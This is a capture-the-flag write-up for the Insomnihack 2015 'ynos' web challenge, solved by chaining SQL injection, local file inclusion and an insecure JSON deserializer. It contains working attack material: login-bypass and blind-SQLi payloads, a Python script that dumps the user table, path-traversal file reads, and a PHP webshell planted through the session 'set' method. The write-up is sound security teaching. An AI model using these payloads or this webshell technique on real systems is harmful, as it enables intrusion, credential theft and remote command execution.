CTF, xmlrpc,

CTF teaser Insomnihack 2015 [ynos – web100]

ynos

First, happy new year to all. This time we are going to see how to solve ynos task from the last weekend, Insomnihack 2015 teaser. Good work to the people behind the scenes :).

This web task presents several vulnerabilites that we must exploit to get the flag. A login form with some JSON mechanism to send and retrieve data is present in all interaction with the server, so the first thing we did was analyze this mechanism. The website show us a list of films, directors and artists

Notice that posting ‘admin’ as user and password (totally guessable) we had success and user exists. See also what is inside this JSON , «c» (probably the class) with name user, «a» (action or method) with a pair of values, «name» and «params», splitted with ‘|’ separator representing username and password.

{"c":{"name":"user"},"a":{"name":"login","params":"admin|admin"}}

Let’s see what files are reported with dirbuster:

File found: /jquery-2.1.1.min.js - 200
File found: /bootstrap.min.js - 200
File found: /home.php - 200
File found: /login.php - 200
File found: /logout.php - 200
File found: /classes.php - 200
File found: /films.php - 200
File found: /artists.php - 200
File found: /functions.php - 200
File found: /directors.php - 200

One we are logged, we see how works the request & response. Sending:

{"c":{"name":"page"},"a":{"name":"render","params":{"name":"artists"}}}

We get list of artists:

<fieldset>

<!-- Form Name -->
<legend>Artists</legend>


<ul class="list-group">
  <li class="list-group-item">Jonny Lee Miller</li>
  <li class="list-group-item">Angelina Jolie</li>
  <li class="list-group-item">Jesse Bradford</li>
  <li class="list-group-item">Matthew Lillard</li>
  <li class="list-group-item">Laurence Mason</li>
  <li class="list-group-item">Fisher Stevens</li>
</ul>

</fieldset>

We tried Local File Inclusion and works  … but seems only a few files was allowed to be included.

{"c":{"name":"page"},"a":{"name":"render","params":{"name":"...//..//.../../directors"}}}

So we return to the initial point, login, to test some SQLi against this parameters splitted by ‘|’.

{"c":{"name":"user"},"a":{"name":"login","params":"admin'-- -|1'+or+1=1+#"}}

Yes! We have a point to start on this challenge.

sqli

Next step is programming a python script to exploit a blind sqli on this login form, see how is passed the JSON:

{"c":{"name":"user"},"a":{"name":"login","params":"' or substr(hex((select group_concat(table_name) from information_schema.tables where table_schema&lt;&gt;'information_schema')),1,1)='0' -- -|1"}}

… and the code to automate it.

#!/usr/bin/python
from requests import post
from sys import argv

def get_digit(query, pos):
 for i in '0123456789abcdef':
 p = "' or substr(hex(%s),%d,1)='%c' -- -" % (query, pos, i)
 r = post("http://ynos.teaser.insomnihack.ch/INSO.RPC", data='{"c":{"name":"user"},"a":{"name":"login","params":"%s|1"}}' % (p))
 
 if 'Success' in r.text:
 return i

def get(query):
 res = ''
 for i in xrange(1, 100, 2):
 c0 = get_digit(query, i)
 c1 = get_digit(query, i+1)
 if c0 == None or c1 == None:
 return res

 c = chr(int(c0+c1, 16))
 res += c
 print res

query = "(select group_concat(table_name) from information_schema.tables where table_schema<>'information_schema')"
if len(argv) > 1:
 query = argv[-1]

print get(query)

‘query’ is that we want to search , table name:

$ ./ynos.py
u
us
use
user
users
users

The rest is modify the script or pass a query as argument to complete the dump:

$ ./ynos.py  "(select group_concat(column_name) from information_schema.columns where table_name='users')"
users
id,name,password

$ ./ynos.py  "(select group_concat(id,':',name,':',password) from users)" 
1:admin:d033e22ae348aeb5660fc2140aec35850c4da997

At this point we can extract file contents with «(select load_file(‘/var/www/html/funcions.php’))» and so on …

Let’s see the code of all interesting phps, included INSO.RPC:

functions.php

<?php

function parseParams($params) {
  if(is_array($params)) {
    return $params;
  }
  else {
    return explode("|",$params);
  }
}

function myDeserialize($object) {
  global $session;
  $class = $object["c"];
  $action = $object["a"];
  $cname = $class["name"];
  $cparams = Array();
  if(isset($class["params"])) {
    $cparams = $class["params"];
  }
  $my_obj = new $cname($cparams);
  $aname = $action["name"];
  $aparams = Array();
  if(isset($action["params"])) {
    $aparams = parseParams($action["params"]);
  }
  
  call_user_func_array(array($my_obj,$aname),$aparams);

}



?>

classes.php

<?php

class session {
  private $id = "";
  private $session = "";
  function __construct($id) {
    $this->id = $id;
    if(file_exists("/tmp/".$this->id)) {
      $this->session = json_decode(file_get_contents("/tmp/".$this->id), true);
    }
    else {
      $this->session = Array();
    }
    
  }
  function get($var) {
    return $this->session[$var];
  }
  function set($var,$value) {
    $this->session[$var] = $value;
    if(isset($this->id) && $this->id !== "") {
      file_put_contents("/tmp/".$this->id,json_encode($this->session));
    }
  }
  function debug() {
    print file_get_contents("/tmp/".$this->id);
  }
  
  function getId() {
    return $this->id;
  }
  
}

class user {

  function login($username,$password) {
  mysql_connect("localhost","inso15","inso15");
  mysql_select_db("inso15");
  $query = "SELECT id FROM users WHERE name = '$username' and password = '" . sha1($password) . "'";
  $result = mysql_query($query);
  $line = mysql_fetch_array($result,MYSQL_ASSOC);
    if(isset($line['id']) && $line['id'] !== "") {
      $GLOBALS['session']->set("userid",$line['id']);
      $GLOBALS['message'] = "Login Success";
    }
    else {
      $GLOBALS['session']->set("userid",-1);
      $GLOBALS['message'] = "Login fail";
    }
  }
  function logout($user) {
    $GLOBALS['session']->set("userid",-1);
  }
  function register($username,$password) {
    //TODO
  }

}


class page {
  private $name;
  private $allowed_pages = array("home","artists","films","directors","logout");
  function render($page) {
  
      if($GLOBALS['session']->get("userid") > 0) {
  foreach($this->allowed_pages as $allowed_page) {
    if(preg_match("/$allowed_page/",$page)) {
    //print "This is page " . $page;
      include($page . ".php");
    }
  }
      }
      else {
  include("login.php");
      }
  }
}
?>

INSO.RPC

<?php
include("classes.php");
include("functions.php");
global $session;
global $message;

if(isset($_COOKIE['session'])) {
  $session = new session($_COOKIE['session']);
}
else {
  $id = substr(str_shuffle(sha1(microtime())), 0, 32);
  $session = new session($id);
  setcookie("session",$id);
}

$input = json_decode(file_get_contents("php://input"),true);
if(isset($input)) {
  myDeserialize($input);
}


print $message;

?>

If you see closer, classes.php has session and user classes. Notice that file read could be done by tricking the JSON request with method debug in combination:

{"c":{"name":"session", "params":"../../../var/www/html/INSO.RPC"},"a":{"name":"debug","params":"none"}}

But the target is list the files and get the flag. Need to exploit call_user_func. There are also ‘get’ and ‘set’ methods so the idea is put our shell here:

{"c":{"name":"session", "params":"home.php"},"a":{"name":"set","params":"x|<?=`$_GET[1]`?>"}}

And access now to list the files with ‘INSO.RPC?1=ls+-lasth’ parameter:

{"c":{"name":"page"},"a":{"name":"render","params":{"name":"../../../../tmp/home"}}}

Output:

{"x":"total 296K
4.0K drwxr-xr-x 2 ubuntu root   4.0K Jan 11 05:38 .
4.0K -rw-rw-r-- 1 ubuntu ubuntu    6 Jan  9 16:19 ___THE_FLAG_IS_IN_HERE___.save
4.0K -rw-rw-r-- 1 ubuntu ubuntu   41 Jan  9 16:02 ___THE_FLAG_IS_IN_HERE___
4.0K -rw-rw-r-- 1 ubuntu ubuntu  596 Jan  8 16:25 functions.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu   40 Dec 30 13:39 .htaccess
4.0K -rw-rw-r-- 1 ubuntu ubuntu  426 Dec 30 13:39 INSO.RPC
4.0K -rw-rw-r-- 1 ubuntu ubuntu  403 Dec 30 13:39 artists.php
112K -rw-r--r-- 1 ubuntu ubuntu 111K Dec 30 13:39 bootstrap.min.css
 36K -rw-r--r-- 1 ubuntu ubuntu  35K Dec 30 13:39 bootstrap.min.js
4.0K -rw-rw-r-- 1 ubuntu ubuntu 1.8K Dec 30 13:39 classes.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  903 Dec 30 13:39 directors.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  951 Dec 30 13:39 films.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  281 Dec 30 13:39 home.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu 1.8K Dec 30 13:39 index.php
 84K -rw-r--r-- 1 ubuntu ubuntu  83K Dec 30 13:39 jquery-2.1.1.min.js
4.0K -rw-rw-r-- 1 ubuntu ubuntu 1.6K Dec 30 13:39 login.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  779 Dec 30 13:39 logout.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  122 Dec 30 13:39 preload.php
4.0K drwxr-xr-x 3 root   root   4.0K Dec 30 13:30 ..
"}

Finally our flag: http://ynos.teaser.insomnihack.ch/___THE_FLAG_IS_IN_HERE___

INS{Gotta_L0ve_l33t_serialization_suff!}

Thanks to all dcua team members!